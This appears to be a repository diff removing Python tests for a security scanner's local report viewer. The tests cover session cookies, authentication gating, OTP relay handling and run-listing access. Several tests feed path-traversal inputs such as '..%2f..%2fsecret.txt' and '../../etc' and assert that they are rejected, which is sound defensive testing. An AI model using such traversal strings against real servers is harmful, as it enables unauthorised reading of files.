httpd, url, token = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
cookie = _session_cookie(url, token)
|
||||
# A successful, session-holding submission relays and records telemetry.
|
||||
status, _ = _post(
|
||||
url, "/api/feedback", {"email": "a@b.com", "message": "hi"}, cookie=cookie
|
||||
)
|
||||
assert status == 200
|
||||
assert sent == [True]
|
||||
|
||||
# A cookie-less caller is rejected and records nothing.
|
||||
sent.clear()
|
||||
status, _ = _post(url, "/api/feedback", {"email": "a@b.com", "message": "hi"})
|
||||
assert status == 403
|
||||
assert sent == []
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def _post(
|
||||
url: str, path: str, payload: Mapping[str, object], *, cookie: str | None = None
|
||||
) -> tuple[int, bytes]:
|
||||
headers = {"Content-Type": "application/json"}
|
||||
if cookie:
|
||||
headers["Cookie"] = cookie
|
||||
req = urllib.request.Request( # noqa: S310 - localhost test server
|
||||
url + path, data=json.dumps(payload).encode(), headers=headers, method="POST"
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310
|
||||
return resp.status, resp.read()
|
||||
except urllib.error.HTTPError as exc:
|
||||
return exc.code, exc.read()
|
||||
|
||||
|
||||
def _session_cookie(url: str, token: str) -> str:
|
||||
"""Bootstrap a session via the tokened URL and return its ``name=value`` cookie."""
|
||||
bootstrap = f"{url}/?token={token}"
|
||||
with urllib.request.urlopen(bootstrap) as resp: # noqa: S310 - localhost test server
|
||||
raw = str(resp.headers.get("Set-Cookie", ""))
|
||||
return raw.split(";", 1)[0]
|
||||
|
||||
|
||||
def _get_status(url: str, *, cookie: str | None = None) -> int:
|
||||
headers = {"Cookie": cookie} if cookie else {}
|
||||
req = urllib.request.Request(url, headers=headers) # noqa: S310 - localhost test server
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310
|
||||
return int(resp.status)
|
||||
except urllib.error.HTTPError as exc:
|
||||
return int(exc.code)
|
||||
|
||||
|
||||
def _bundle(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
assets = tmp_path / "bundle"
|
||||
assets.mkdir()
|
||||
(assets / "index.html").write_text("<!doctype html><div id=root></div>", encoding="utf-8")
|
||||
monkeypatch.setattr("strix.viewer.server.bundle_dir", lambda: assets)
|
||||
|
||||
|
||||
def test_capability_issued_only_for_tokened_bootstrap(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
run_dir = _make_run(tmp_path, "cookie", status="running", end_time=None)
|
||||
assets = tmp_path / "bundle"
|
||||
(assets / "assets").mkdir(parents=True)
|
||||
(assets / "index.html").write_text("<!doctype html>index", encoding="utf-8")
|
||||
(assets / "assets" / "app.js").write_text("1", encoding="utf-8")
|
||||
monkeypatch.setattr("strix.viewer.server.bundle_dir", lambda: assets)
|
||||
|
||||
httpd, url, token = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
# A bare index load -- all a reachable client can do -- hands out nothing.
|
||||
with urllib.request.urlopen(url + "/") as resp: # noqa: S310
|
||||
assert resp.headers.get("Set-Cookie") is None
|
||||
|
||||
# A wrong token is likewise refused the capability.
|
||||
with urllib.request.urlopen(f"{url}/?token=wrong") as resp: # noqa: S310
|
||||
assert resp.headers.get("Set-Cookie") is None
|
||||
|
||||
# Only the correct bootstrap token mints the session cookie.
|
||||
with urllib.request.urlopen(f"{url}/?token={token}") as resp: # noqa: S310
|
||||
cookie = str(resp.headers.get("Set-Cookie", ""))
|
||||
assert "strix_viewer_session=" in cookie
|
||||
assert "HttpOnly" in cookie and "SameSite=Strict" in cookie
|
||||
|
||||
# Static assets never carry it.
|
||||
with urllib.request.urlopen(url + "/assets/app.js") as resp: # noqa: S310
|
||||
assert resp.headers.get("Set-Cookie") is None
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_unauthorized_client_cannot_acquire_capability(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
run_dir = _make_run(tmp_path, "exposed", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
|
||||
delivered: list[tuple[str, str]] = []
|
||||
|
||||
def handler(agent_id: str, message: str) -> bool:
|
||||
delivered.append((agent_id, message))
|
||||
return True
|
||||
|
||||
httpd, url, _ = serve(run_dir, open_browser=False, steer_handler=handler)
|
||||
try:
|
||||
# A direct network client can reach the page but is handed no capability,
|
||||
# so replaying an empty/guessed cookie cannot steer a live scan.
|
||||
with urllib.request.urlopen(url + "/") as resp: # noqa: S310
|
||||
assert resp.headers.get("Set-Cookie") is None
|
||||
status, _ = _post(
|
||||
url,
|
||||
"/api/agents/steer",
|
||||
{"agent_id": "root", "message": "pwn"},
|
||||
cookie="strix_viewer_session=",
|
||||
)
|
||||
assert status == 403
|
||||
assert delivered == []
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_auth_status_reflects_expiry(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
run_dir = _make_run(tmp_path, "status", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
monkeypatch.setattr("strix.viewer.auth.read_auth", lambda: {"email": "a@b.com", "token": "t"})
|
||||
verified = {"value": True}
|
||||
monkeypatch.setattr("strix.viewer.auth.is_verified", lambda: verified["value"])
|
||||
|
||||
httpd, url, token = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
cookie = _session_cookie(url, token)
|
||||
_, _, body = _get(f"{url}/api/auth/status", cookie=cookie)
|
||||
assert json.loads(body) == {"verified": True, "email": "a@b.com"}
|
||||
|
||||
# Once expired, status must advertise unverified so the SPA re-prompts.
|
||||
verified["value"] = False
|
||||
_, _, body = _get(f"{url}/api/auth/status", cookie=cookie)
|
||||
assert json.loads(body)["verified"] is False
|
||||
|
||||
# A cookie-less caller never sees the cached email or verified state.
|
||||
verified["value"] = True
|
||||
_, _, body = _get(f"{url}/api/auth/status")
|
||||
assert json.loads(body) == {"verified": False, "email": None}
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_auth_mutations_require_session(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
run_dir = _make_run(tmp_path, "authmut", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
forgotten = {"value": False}
|
||||
monkeypatch.setattr("strix.viewer.auth.forget", lambda: forgotten.update(value=True))
|
||||
|
||||
httpd, url, _ = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
for path in ("/api/auth/forget", "/api/auth/otp/start", "/api/auth/otp/verify"):
|
||||
status, _ = _post(url, path, {"email": "a@b.com", "code": "123456"})
|
||||
assert status == 403, path
|
||||
assert forgotten["value"] is False
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_steer_requires_session_cookie(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
run_dir = _make_run(tmp_path, "steer", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
|
||||
delivered: list[tuple[str, str]] = []
|
||||
|
||||
def handler(agent_id: str, message: str) -> bool:
|
||||
delivered.append((agent_id, message))
|
||||
return True
|
||||
|
||||
httpd, url, token = serve(run_dir, open_browser=False, steer_handler=handler)
|
||||
try:
|
||||
body = {"agent_id": "root", "message": "focus on auth"}
|
||||
# No cookie: rejected before reaching the live coordinator.
|
||||
status, _ = _post(url, "/api/agents/steer", body)
|
||||
assert status == 403
|
||||
assert delivered == []
|
||||
|
||||
# With the session cookie the message is delivered.
|
||||
status, raw = _post(url, "/api/agents/steer", body, cookie=_session_cookie(url, token))
|
||||
assert status == 200
|
||||
assert json.loads(raw)["ok"] is True
|
||||
assert delivered == [("root", "focus on auth")]
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_report_send_requires_session_cookie(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
run_dir = _make_run(tmp_path, "report", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
|
||||
# A verified machine token exists, but that alone must not authorize a caller.
|
||||
monkeypatch.setattr("strix.viewer.auth.read_auth", lambda: {"email": "a@b.com", "token": "t"})
|
||||
|
||||
httpd, url, token = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
# No cookie: forbidden before the machine token is ever consulted.
|
||||
status, _ = _post(url, "/api/report/send", {})
|
||||
assert status == 403
|
||||
|
||||
# With the cookie the request clears the session gate; it then reaches
|
||||
# the run resolver, so an unknown run is a 404 rather than a 403.
|
||||
status, _ = _post(
|
||||
url, "/api/report/send", {"run": "does-not-exist"}, cookie=_session_cookie(url, token)
|
||||
)
|
||||
assert status == 404
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_report_send_rejects_live_run(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
# A running scan would only produce a partial report, so the endpoint must
|
||||
# fail closed even for a verified, session-holding caller.
|
||||
run_dir = _make_run(tmp_path, "live", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
monkeypatch.setattr("strix.viewer.auth.read_auth", lambda: {"email": "a@b.com", "token": "t"})
|
||||
|
||||
httpd, url, token = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
status, _ = _post(url, "/api/report/send", {}, cookie=_session_cookie(url, token))
|
||||
assert status == 409
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_historical_run_data_requires_verification(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
launched = _make_run(tmp_path, "launched", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
_make_run(tmp_path, "other", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
|
||||
verified = {"value": False}
|
||||
monkeypatch.setattr("strix.viewer.auth.is_verified", lambda: verified["value"])
|
||||
|
||||
httpd, url, token = serve(launched, open_browser=False)
|
||||
try:
|
||||
# The launched run is always viewable, no verification and no cookie.
|
||||
status, _, _ = _get(f"{url}/api/run")
|
||||
assert status == 200
|
||||
|
||||
cookie = _session_cookie(url, token)
|
||||
|
||||
# A different run needs the session capability first: a cookie-less
|
||||
# caller is forbidden even once the machine is verified.
|
||||
verified["value"] = True
|
||||
assert _get_status(f"{url}/api/run?run=other") == 403
|
||||
|
||||
# With the cookie but not verified, the history gate returns 401.
|
||||
verified["value"] = False
|
||||
assert _get_status(f"{url}/api/run?run=other", cookie=cookie) == 401
|
||||
|
||||
# With both the cookie and verification, the historical run resolves.
|
||||
verified["value"] = True
|
||||
assert _get_status(f"{url}/api/run?run=other", cookie=cookie) == 200
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_runs_list_requires_session_and_verification(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
launched = _make_run(tmp_path, "launched", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
_make_run(tmp_path, "other", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
|
||||
monkeypatch.setattr("strix.viewer.auth.is_verified", lambda: True)
|
||||
|
||||
def _runs(cookie: str | None) -> dict[str, object]:
|
||||
headers = {"Cookie": cookie} if cookie else {}
|
||||
req = urllib.request.Request(f"{url}/api/runs", headers=headers) # noqa: S310
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310 - localhost test server
|
||||
return dict(json.loads(resp.read()))
|
||||
|
||||
httpd, url, token = serve(launched, open_browser=False)
|
||||
try:
|
||||
# A cookie-less caller (even with the machine verified) only sees the
|
||||
# teaser count, never the run entries.
|
||||
payload = _runs(None)
|
||||
assert payload["locked"] is True
|
||||
assert payload["count"] == 2
|
||||
assert payload["runs"] == []
|
||||
|
||||
# With the session cookie and verification, the entries unlock.
|
||||
payload = _runs(_session_cookie(url, token))
|
||||
assert payload["locked"] is False
|
||||
assert {r["name"] for r in payload["runs"]} == {"launched", "other"} # type: ignore[attr-defined]
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_server_rejects_path_traversal(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
run_dir = _make_run(tmp_path, "guard", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
secret = tmp_path / "secret.txt"
|
||||
secret.write_text("top secret", encoding="utf-8")
|
||||
|
||||
assets = tmp_path / "bundle"
|
||||
assets.mkdir()
|
||||
(assets / "index.html").write_text("<!doctype html>index", encoding="utf-8")
|
||||
monkeypatch.setattr("strix.viewer.server.bundle_dir", lambda: assets)
|
||||
|
||||
httpd, url, _ = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
# A traversal target must never leak the file; it falls back to index.html.
|
||||
_, _, body = _get(f"{url}/..%2f..%2fsecret.txt")
|
||||
assert b"top secret" not in body
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
@@ -1,167 +0,0 @@
|
||||
"""Tests for viewer auth state and the relay client mapping."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import stat
|
||||
from datetime import UTC, datetime, timedelta
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import pytest
|
||||
|
||||
from strix.viewer import auth
|
||||
|
||||
|
||||
def _iso(delta: timedelta) -> str:
|
||||
return (datetime.now(UTC) + delta).isoformat()
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _tmp_auth(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
||||
home = tmp_path / "home"
|
||||
monkeypatch.setattr(auth, "AUTH_PATH", home / ".strix" / "viewer-auth.json")
|
||||
return auth.AUTH_PATH
|
||||
|
||||
|
||||
def test_write_read_forget_roundtrip() -> None:
|
||||
assert auth.read_auth() is None
|
||||
assert auth.is_verified() is False
|
||||
|
||||
auth.write_auth(email="user@example.com", token="tok-123", verified_at=_iso(timedelta(days=30)))
|
||||
|
||||
record = auth.read_auth()
|
||||
assert record is not None
|
||||
assert record["email"] == "user@example.com"
|
||||
assert record["token"] == "tok-123"
|
||||
assert auth.is_verified() is True
|
||||
|
||||
auth.forget()
|
||||
assert auth.read_auth() is None
|
||||
assert auth.is_verified() is False
|
||||
# Forget is a no-op when the file is already gone.
|
||||
auth.forget()
|
||||
|
||||
|
||||
def test_is_verified_enforces_expiry() -> None:
|
||||
# An expired record still reads back, but no longer unlocks history.
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at=_iso(timedelta(hours=-1)))
|
||||
assert auth.read_auth() is not None
|
||||
assert auth.is_verified() is False
|
||||
|
||||
# A future expiry unlocks it.
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at=_iso(timedelta(hours=1)))
|
||||
assert auth.is_verified() is True
|
||||
|
||||
|
||||
def test_is_verified_fails_closed_when_expiry_absent_or_unparseable() -> None:
|
||||
# No/blank expiry: fail closed rather than unlocking history forever.
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at="")
|
||||
assert auth.read_auth() is not None
|
||||
assert auth.is_verified() is False
|
||||
|
||||
# Garbage expiry likewise requires re-verification.
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at="not-a-date")
|
||||
assert auth.is_verified() is False
|
||||
|
||||
|
||||
def test_is_verified_accepts_epoch_expiry() -> None:
|
||||
# A relay expiry expressed as epoch seconds must not be misread as missing.
|
||||
future = (datetime.now(UTC) + timedelta(hours=1)).timestamp()
|
||||
past = (datetime.now(UTC) - timedelta(hours=1)).timestamp()
|
||||
|
||||
# As a numeric string (how write_auth persists it).
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at=str(future))
|
||||
assert auth.is_verified() is True
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at=str(past))
|
||||
assert auth.is_verified() is False
|
||||
|
||||
# As a raw JSON number, if a record is written that way.
|
||||
auth.AUTH_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||
auth.AUTH_PATH.write_text(
|
||||
f'{{"email": "a@b.com", "token": "t", "verified_at": {future}}}', encoding="utf-8"
|
||||
)
|
||||
assert auth.is_verified() is True
|
||||
|
||||
|
||||
def test_write_auth_is_0600() -> None:
|
||||
auth.write_auth(email="a@b.com", token="t", verified_at="")
|
||||
mode = stat.S_IMODE(auth.AUTH_PATH.stat().st_mode)
|
||||
assert mode == 0o600
|
||||
|
||||
|
||||
def test_read_auth_rejects_incomplete_record() -> None:
|
||||
auth.AUTH_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||
auth.AUTH_PATH.write_text('{"email": "a@b.com"}', encoding="utf-8")
|
||||
assert auth.read_auth() is None
|
||||
assert auth.is_verified() is False
|
||||
|
||||
|
||||
def _stub_post(monkeypatch: pytest.MonkeyPatch, status: int, body: dict[str, Any]) -> None:
|
||||
def fake(path: str, payload: dict[str, Any], *, timeout: int) -> tuple[int, dict[str, Any]]:
|
||||
return status, body
|
||||
|
||||
monkeypatch.setattr(auth, "_post_json", fake)
|
||||
|
||||
|
||||
def test_otp_start_maps_errors(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
_stub_post(monkeypatch, 200, {"ok": True})
|
||||
auth.otp_start("a@b.com") # no raise
|
||||
|
||||
_stub_post(monkeypatch, 429, {"error": "rate_limited"})
|
||||
with pytest.raises(auth.RelayError) as exc:
|
||||
auth.otp_start("a@b.com")
|
||||
assert exc.value.code == "rate_limited"
|
||||
|
||||
_stub_post(monkeypatch, 400, {})
|
||||
with pytest.raises(auth.RelayError) as exc:
|
||||
auth.otp_start("bad")
|
||||
assert exc.value.code == "invalid_email"
|
||||
|
||||
|
||||
def test_otp_verify_success_and_invalid(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
expires = _iso(timedelta(hours=1))
|
||||
_stub_post(monkeypatch, 200, {"token": "t", "email": "a@b.com", "expires_at": expires})
|
||||
result = auth.otp_verify("a@b.com", "123456")
|
||||
assert result["token"] == "t"
|
||||
|
||||
_stub_post(monkeypatch, 403, {"error": "invalid_code"})
|
||||
with pytest.raises(auth.RelayError) as exc:
|
||||
auth.otp_verify("a@b.com", "000000")
|
||||
assert exc.value.code == "invalid_code"
|
||||
|
||||
|
||||
def test_otp_verify_rejects_token_without_usable_expiry(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
# A 200 with a token but no valid expiry must not be reported as success,
|
||||
# otherwise the caller would store a record that immediately reads unverified.
|
||||
for expires in (None, "", "later"):
|
||||
_stub_post(monkeypatch, 200, {"token": "t", "email": "a@b.com", "expires_at": expires})
|
||||
with pytest.raises(auth.RelayError) as exc:
|
||||
auth.otp_verify("a@b.com", "123456")
|
||||
assert exc.value.code == "unavailable"
|
||||
|
||||
|
||||
def test_report_send_never_includes_password(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
captured: dict[str, Any] = {}
|
||||
|
||||
def fake(path: str, payload: dict[str, Any], *, timeout: int) -> tuple[int, dict[str, Any]]:
|
||||
captured["payload"] = payload
|
||||
return 200, {"ok": True}
|
||||
|
||||
monkeypatch.setattr(auth, "_post_json", fake)
|
||||
auth.report_send("tok", b"%PDF-fake", "strix-report-x.pdf", "x", "https://example.com")
|
||||
|
||||
payload = captured["payload"]
|
||||
assert set(payload) == {"token", "pdf_base64", "filename", "run_name", "target"}
|
||||
# The password is generated locally and must never appear in the relay body.
|
||||
assert "password" not in payload
|
||||
assert all("password" not in str(k).lower() for k in payload)
|
||||
|
||||
|
||||
def test_report_send_reverify_on_401(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
_stub_post(monkeypatch, 401, {"error": "invalid_token"})
|
||||
with pytest.raises(auth.RelayError) as exc:
|
||||
auth.report_send("tok", b"x", "f.pdf", "r", "t")
|
||||
assert exc.value.code == "reverify"
|
||||
@@ -1,89 +0,0 @@
|
||||
"""Tests for the /api/runs gating and the ?run= resolver (pure functions)."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
from strix.viewer.server import build_runs_payload, resolve_run_dir
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def _make_run(base: Path, name: str, *, severity: str = "high") -> Path:
|
||||
run_dir = base / "strix_runs" / name
|
||||
run_dir.mkdir(parents=True)
|
||||
record = {
|
||||
"run_name": name,
|
||||
"targets_info": [{"original": f"https://{name}.example.com"}],
|
||||
"scan_mode": "deep",
|
||||
"status": "completed",
|
||||
"start_time": "2026-01-01T00:00:00Z",
|
||||
"end_time": "2026-01-01T00:10:00Z",
|
||||
}
|
||||
(run_dir / "run.json").write_text(json.dumps(record), encoding="utf-8")
|
||||
(run_dir / "vulnerabilities.json").write_text(
|
||||
json.dumps([{"title": "v", "severity": severity}]), encoding="utf-8"
|
||||
)
|
||||
return run_dir
|
||||
|
||||
|
||||
def test_runs_payload_locked_when_unverified(tmp_path: Path) -> None:
|
||||
base = tmp_path / "strix_runs"
|
||||
_make_run(tmp_path, "alpha")
|
||||
_make_run(tmp_path, "beta")
|
||||
|
||||
payload = build_runs_payload(base, verified=False)
|
||||
assert payload["locked"] is True
|
||||
assert payload["count"] == 2
|
||||
assert payload["runs"] == []
|
||||
|
||||
|
||||
def test_runs_payload_lists_when_verified(tmp_path: Path) -> None:
|
||||
base = tmp_path / "strix_runs"
|
||||
_make_run(tmp_path, "alpha", severity="critical")
|
||||
_make_run(tmp_path, "beta", severity="info")
|
||||
|
||||
payload = build_runs_payload(base, verified=True)
|
||||
assert payload["locked"] is False
|
||||
assert payload["count"] == 2
|
||||
assert len(payload["runs"]) == 2
|
||||
entry = next(r for r in payload["runs"] if r["name"] == "alpha")
|
||||
assert entry["target"] == "https://alpha.example.com"
|
||||
assert entry["severity_counts"]["critical"] == 1
|
||||
# "info" folds into low, matching the SPA's bucketing.
|
||||
beta = next(r for r in payload["runs"] if r["name"] == "beta")
|
||||
assert beta["severity_counts"]["low"] == 1
|
||||
|
||||
|
||||
def test_runs_payload_empty_base(tmp_path: Path) -> None:
|
||||
payload = build_runs_payload(tmp_path / "strix_runs", verified=True)
|
||||
assert payload == {"locked": False, "count": 0, "runs": []}
|
||||
|
||||
|
||||
def test_resolve_run_dir_defaults_when_absent(tmp_path: Path) -> None:
|
||||
base = tmp_path / "strix_runs"
|
||||
default = _make_run(tmp_path, "alpha")
|
||||
assert resolve_run_dir(base, None, default) == default
|
||||
assert resolve_run_dir(base, "", default) == default
|
||||
|
||||
|
||||
def test_resolve_run_dir_valid_named_run(tmp_path: Path) -> None:
|
||||
base = tmp_path / "strix_runs"
|
||||
default = _make_run(tmp_path, "alpha")
|
||||
other = _make_run(tmp_path, "beta")
|
||||
assert resolve_run_dir(base, "beta", default) == other
|
||||
|
||||
|
||||
def test_resolve_run_dir_rejects_unknown_and_traversal(tmp_path: Path) -> None:
|
||||
base = tmp_path / "strix_runs"
|
||||
default = _make_run(tmp_path, "alpha")
|
||||
secret = tmp_path / "secret"
|
||||
secret.mkdir()
|
||||
(secret / "run.json").write_text("{}", encoding="utf-8")
|
||||
|
||||
assert resolve_run_dir(base, "nope", default) is None
|
||||
assert resolve_run_dir(base, "../secret", default) is None
|
||||
assert resolve_run_dir(base, "../../etc", default) is None
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user